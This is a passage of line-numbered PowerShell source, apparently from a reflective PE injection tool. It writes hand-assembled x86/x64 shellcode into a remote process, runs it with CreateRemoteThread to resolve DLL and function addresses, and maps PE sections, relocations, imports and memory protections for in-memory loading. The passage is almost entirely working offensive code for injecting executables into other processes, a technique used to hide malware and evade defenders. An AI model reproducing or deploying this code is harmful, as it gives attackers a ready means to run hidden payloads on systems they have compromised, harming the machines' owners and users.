[UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) 1364 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) 1365 | { 1366 | Throw "Unable to write shellcode to remote process memory." 1367 | } 1368 | 1369 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions 1370 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) 1371 | if ($Result -ne 0) 1372 | { 1373 | Throw "Call to CreateRemoteThread to call GetProcAddress failed." 1374 | } 1375 | 1376 | #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory 1377 | [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) 1378 | $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) 1379 | if ($Result -eq $false) 1380 | { 1381 | Throw "Call to ReadProcessMemory failed" 1382 | } 1383 | [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) 1384 | 1385 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1386 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1387 | } 1388 | else 1389 | { 1390 | [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions 1391 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) 1392 | if ($Result -ne 0) 1393 | { 1394 | Throw "Call to CreateRemoteThread to call GetProcAddress failed." 1395 | } 1396 | 1397 | [Int32]$ExitCode = 0 1398 | $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) 1399 | if (($Result -eq 0) -or ($ExitCode -eq 0)) 1400 | { 1401 | Throw "Call to GetExitCodeThread failed" 1402 | } 1403 | 1404 | [IntPtr]$DllAddress = [IntPtr]$ExitCode 1405 | } 1406 | 1407 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1408 | 1409 | return $DllAddress 1410 | } 1411 | 1412 | 1413 | Function Get-RemoteProcAddress 1414 | { 1415 | Param( 1416 | [Parameter(Position=0, Mandatory=$true)] 1417 | [IntPtr] 1418 | $RemoteProcHandle, 1419 | 1420 | [Parameter(Position=1, Mandatory=$true)] 1421 | [IntPtr] 1422 | $RemoteDllHandle, 1423 | 1424 | [Parameter(Position=2, Mandatory=$true)] 1425 | [IntPtr] 1426 | $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) 1427 | 1428 | [Parameter(Position=3, Mandatory=$true)] 1429 | [Bool] 1430 | $LoadByOrdinal 1431 | ) 1432 | 1433 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 1434 | 1435 | [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal 1436 | #If not loading by ordinal, write the function name to the remote process memory 1437 | if (-not $LoadByOrdinal) 1438 | { 1439 | $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) 1440 | 1441 | #Write FunctionName to memory (will be used in GetProcAddress) 1442 | $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) 1443 | $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 1444 | if ($RFuncNamePtr -eq [IntPtr]::Zero) 1445 | { 1446 | Throw "Unable to allocate memory in the remote process" 1447 | } 1448 | 1449 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero 1450 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) 1451 | if ($Success -eq $false) 1452 | { 1453 | Throw "Unable to write DLL path to remote process memory" 1454 | } 1455 | if ($FunctionNameSize -ne $NumBytesWritten) 1456 | { 1457 | Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" 1458 | } 1459 | } 1460 | #If loading by ordinal, just set RFuncNamePtr to be the ordinal number 1461 | else 1462 | { 1463 | $RFuncNamePtr = $FunctionNamePtr 1464 | } 1465 | 1466 | #Get address of GetProcAddress 1467 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") 1468 | $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes 1469 | 1470 | 1471 | #Allocate memory for the address returned by GetProcAddress 1472 | $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 1473 | if ($GetProcAddressRetMem -eq [IntPtr]::Zero) 1474 | { 1475 | Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" 1476 | } 1477 | 1478 | 1479 | #Write Shellcode to the remote process which will call GetProcAddress 1480 | #Shellcode: GetProcAddress.asm 1481 | [Byte[]]$GetProcAddressSC = @() 1482 | if ($PEInfo.PE64Bit -eq $true) 1483 | { 1484 | $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) 1485 | $GetProcAddressSC2 = @(0x48, 0xba) 1486 | $GetProcAddressSC3 = @(0x48, 0xb8) 1487 | $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) 1488 | $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) 1489 | } 1490 | else 1491 | { 1492 | $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) 1493 | $GetProcAddressSC2 = @(0xb9) 1494 | $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) 1495 | $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) 1496 | $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) 1497 | } 1498 | $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) 1499 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) 1500 | $SCPSMemOriginal = $SCPSMem 1501 | 1502 | Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem 1503 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) 1504 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) 1505 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1506 | Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem 1507 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) 1508 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) 1509 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1510 | Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem 1511 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) 1512 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) 1513 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1514 | Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem 1515 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) 1516 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) 1517 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1518 | Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem 1519 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) 1520 | 1521 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 1522 | if ($RSCAddr -eq [IntPtr]::Zero) 1523 | { 1524 | Throw "Unable to allocate memory in the remote process for shellcode" 1525 | } 1526 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero 1527 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) 1528 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) 1529 | { 1530 | Throw "Unable to write shellcode to remote process memory." 1531 | } 1532 | 1533 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions 1534 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) 1535 | if ($Result -ne 0) 1536 | { 1537 | Throw "Call to CreateRemoteThread to call GetProcAddress failed." 1538 | } 1539 | 1540 | #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory 1541 | [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) 1542 | $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) 1543 | if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) 1544 | { 1545 | Throw "Call to ReadProcessMemory failed" 1546 | } 1547 | [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) 1548 | 1549 | #Cleanup remote process memory 1550 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1551 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1552 | 1553 | if (-not $LoadByOrdinal) 1554 | { 1555 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1556 | } 1557 | 1558 | return $ProcAddress 1559 | } 1560 | 1561 | 1562 | Function Copy-Sections 1563 | { 1564 | Param( 1565 | [Parameter(Position = 0, Mandatory = $true)] 1566 | [Byte[]] 1567 | $PEBytes, 1568 | 1569 | [Parameter(Position = 1, Mandatory = $true)] 1570 | [System.Object] 1571 | $PEInfo, 1572 | 1573 | [Parameter(Position = 2, Mandatory = $true)] 1574 | [System.Object] 1575 | $Win32Functions, 1576 | 1577 | [Parameter(Position = 3, Mandatory = $true)] 1578 | [System.Object] 1579 | $Win32Types 1580 | ) 1581 | 1582 | for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) 1583 | { 1584 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) 1585 | $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) 1586 | 1587 | #Address to copy the section to 1588 | [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) 1589 | 1590 | #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated 1591 | # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If 1592 | # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, 1593 | # so truncate SizeOfRawData to VirtualSize 1594 | $SizeOfRawData = $SectionHeader.SizeOfRawData 1595 | 1596 | if ($SectionHeader.PointerToRawData -eq 0) 1597 | { 1598 | $SizeOfRawData = 0 1599 | } 1600 | 1601 | if ($SizeOfRawData -gt $SectionHeader.VirtualSize) 1602 | { 1603 | $SizeOfRawData = $SectionHeader.VirtualSize 1604 | } 1605 | 1606 | if ($SizeOfRawData -gt 0) 1607 | { 1608 | Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null 1609 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) 1610 | } 1611 | 1612 | #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space 1613 | if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) 1614 | { 1615 | $Difference = $SectionHeader.VirtualSize - $SizeOfRawData 1616 | [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) 1617 | Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null 1618 | $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null 1619 | } 1620 | } 1621 | } 1622 | 1623 | 1624 | Function Update-MemoryAddresses 1625 | { 1626 | Param( 1627 | [Parameter(Position = 0, Mandatory = $true)] 1628 | [System.Object] 1629 | $PEInfo, 1630 | 1631 | [Parameter(Position = 1, Mandatory = $true)] 1632 | [Int64] 1633 | $OriginalImageBase, 1634 | 1635 | [Parameter(Position = 2, Mandatory = $true)] 1636 | [System.Object] 1637 | $Win32Constants, 1638 | 1639 | [Parameter(Position = 3, Mandatory = $true)] 1640 | [System.Object] 1641 | $Win32Types 1642 | ) 1643 | 1644 | [Int64]$BaseDifference = 0 1645 | $AddDifference = $true #Track if the difference variable should be added or subtracted from variables 1646 | [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) 1647 | 1648 | #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do 1649 | if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` 1650 | -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) 1651 | { 1652 | return 1653 | } 1654 | 1655 | 1656 | elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) 1657 | { 1658 | $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) 1659 | $AddDifference = $false 1660 | } 1661 | elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) 1662 | { 1663 | $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) 1664 | } 1665 | 1666 | #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified 1667 | [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) 1668 | while($true) 1669 | { 1670 | #If SizeOfBlock == 0, we are done 1671 | $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) 1672 | 1673 | if ($BaseRelocationTable.SizeOfBlock -eq 0) 1674 | { 1675 | break 1676 | } 1677 | 1678 | [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) 1679 | $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 1680 | 1681 | #Loop through each relocation 1682 | for($i = 0; $i -lt $NumRelocations; $i++) 1683 | { 1684 | #Get info for this relocation 1685 | $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) 1686 | [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) 1687 | 1688 | #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase 1689 | [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF 1690 | [UInt16]$RelocType = $RelocationInfo -band 0xF000 1691 | for ($j = 0; $j -lt 12; $j++) 1692 | { 1693 | $RelocType = [Math]::Floor($RelocType / 2) 1694 | } 1695 | 1696 | #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. 1697 | #This appears to be true for EXE's as well. 1698 | # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx 1699 | if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` 1700 | -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) 1701 | { 1702 | #Get the current memory address and update it based off the difference between PE expected base address and actual base address 1703 | [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) 1704 | [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) 1705 | 1706 | if ($AddDifference -eq $true) 1707 | { 1708 | [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) 1709 | } 1710 | else 1711 | { 1712 | [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) 1713 | } 1714 | 1715 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null 1716 | } 1717 | elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) 1718 | { 1719 | #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it 1720 | Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" 1721 | } 1722 | } 1723 | 1724 | $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) 1725 | } 1726 | } 1727 | 1728 | 1729 | Function Import-DllImports 1730 | { 1731 | Param( 1732 | [Parameter(Position = 0, Mandatory = $true)] 1733 | [System.Object] 1734 | $PEInfo, 1735 | 1736 | [Parameter(Position = 1, Mandatory = $true)] 1737 | [System.Object] 1738 | $Win32Functions, 1739 | 1740 | [Parameter(Position = 2, Mandatory = $true)] 1741 | [System.Object] 1742 | $Win32Types, 1743 | 1744 | [Parameter(Position = 3, Mandatory = $true)] 1745 | [System.Object] 1746 | $Win32Constants, 1747 | 1748 | [Parameter(Position = 4, Mandatory = $false)] 1749 | [IntPtr] 1750 | $RemoteProcHandle 1751 | ) 1752 | 1753 | $RemoteLoading = $false 1754 | if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) 1755 | { 1756 | $RemoteLoading = $true 1757 | } 1758 | 1759 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) 1760 | { 1761 | [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) 1762 | 1763 | while ($true) 1764 | { 1765 | $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) 1766 | 1767 | #If the structure is null, it signals that this is the end of the array 1768 | if ($ImportDescriptor.Characteristics -eq 0 ` 1769 | -and $ImportDescriptor.FirstThunk -eq 0 ` 1770 | -and $ImportDescriptor.ForwarderChain -eq 0 ` 1771 | -and $ImportDescriptor.Name -eq 0 ` 1772 | -and $ImportDescriptor.TimeDateStamp -eq 0) 1773 | { 1774 | Write-Verbose "Done importing DLL imports" 1775 | break 1776 | } 1777 | 1778 | $ImportDllHandle = [IntPtr]::Zero 1779 | $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) 1780 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) 1781 | 1782 | if ($RemoteLoading -eq $true) 1783 | { 1784 | $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr 1785 | } 1786 | else 1787 | { 1788 | $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) 1789 | } 1790 | 1791 | if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) 1792 | { 1793 | throw "Error importing DLL, DLLName: $ImportDllPath" 1794 | } 1795 | 1796 | #Get the first thunk, then loop through all of them 1797 | [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) 1798 | [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk 1799 | [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) 1800 | 1801 | while ($OriginalThunkRefVal -ne [IntPtr]::Zero) 1802 | { 1803 | $LoadByOrdinal = $false 1804 | [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero 1805 | #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit 1806 | # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint 1807 | # and doing the comparison, just see if it is less than 0 1808 | [IntPtr]$NewThunkRef = [IntPtr]::Zero 1809 | if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) 1810 | { 1811 | [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal 1812 | $LoadByOrdinal = $true 1813 | } 1814 | elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) 1815 | { 1816 | [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal 1817 | $LoadByOrdinal = $true 1818 | } 1819 | else 1820 | { 1821 | [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) 1822 | $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) 1823 | $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) 1824 | $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) 1825 | } 1826 | 1827 | if ($RemoteLoading -eq $true) 1828 | { 1829 | [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal 1830 | } 1831 | else 1832 | { 1833 | [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) 1834 | } 1835 | 1836 | if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) 1837 | { 1838 | if ($LoadByOrdinal) 1839 | { 1840 | Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" 1841 | } 1842 | else 1843 | { 1844 | Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" 1845 | } 1846 | } 1847 | 1848 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) 1849 | 1850 | $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) 1851 | [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) 1852 | [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) 1853 | 1854 | #Cleanup 1855 | #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed 1856 | if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) 1857 | { 1858 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) 1859 | $ProcedureNamePtr = [IntPtr]::Zero 1860 | } 1861 | } 1862 | 1863 | $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) 1864 | } 1865 | } 1866 | } 1867 | 1868 | Function Get-VirtualProtectValue 1869 | { 1870 | Param( 1871 | [Parameter(Position = 0, Mandatory = $true)] 1872 | [UInt32] 1873 | $SectionCharacteristics 1874 | ) 1875 | 1876 | $ProtectionFlag = 0x0 1877 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) 1878 | { 1879 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) 1880 | { 1881 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) 1882 | { 1883 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE 1884 | } 1885 | else 1886 | { 1887 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ 1888 | } 1889 | } 1890 | else 1891 | { 1892 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) 1893 | { 1894 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY 1895 | } 1896 | else 1897 | { 1898 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE 1899 | } 1900 | } 1901 | } 1902 | else 1903 | { 1904 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) 1905 | { 1906 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) 1907 | { 1908 | $ProtectionFlag = $Win32Constants.PAGE_READWRITE 1909 | } 1910 | else 1911 | { 1912 | $ProtectionFlag = $Win32Constants.PAGE_READONLY 1913 | } 1914 | } 1915 | else 1916 | { 1917 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) 1918 | { 1919 | $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY 1920 | } 1921 | else 1922 | { 1923 | $ProtectionFlag = $Win32Constants.PAGE_NOACCESS 1924 | } 1925 | } 1926 | } 1927 | 1928 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) 1929 | { 1930 | $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE 1931 | } 1932 | 1933 | return $ProtectionFlag 1934 | } 1935 | 1936 | Function Update-MemoryProtectionFlags 1937 | { 1938 | Param( 1939 | [Parameter(Position = 0, Mandatory = $true)] 1940 | [System.Object] 1941 | $PEInfo, 1942 | 1943 | [Parameter(Position = 1, Mandatory = $true)] 1944 | [System.Object] 1945 | $Win32Functions, 1946 | 1947 | [Parameter(Position = 2, Mandatory = $true)] 1948 | [System.Object] 1949 | $Win32Constants, 1950 | 1951 | [Parameter(Position = 3, Mandatory = $true)] 1952 | [System.Object] 1953 | $Win32Types 1954 | ) 1955 | 1956 | for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) 1957 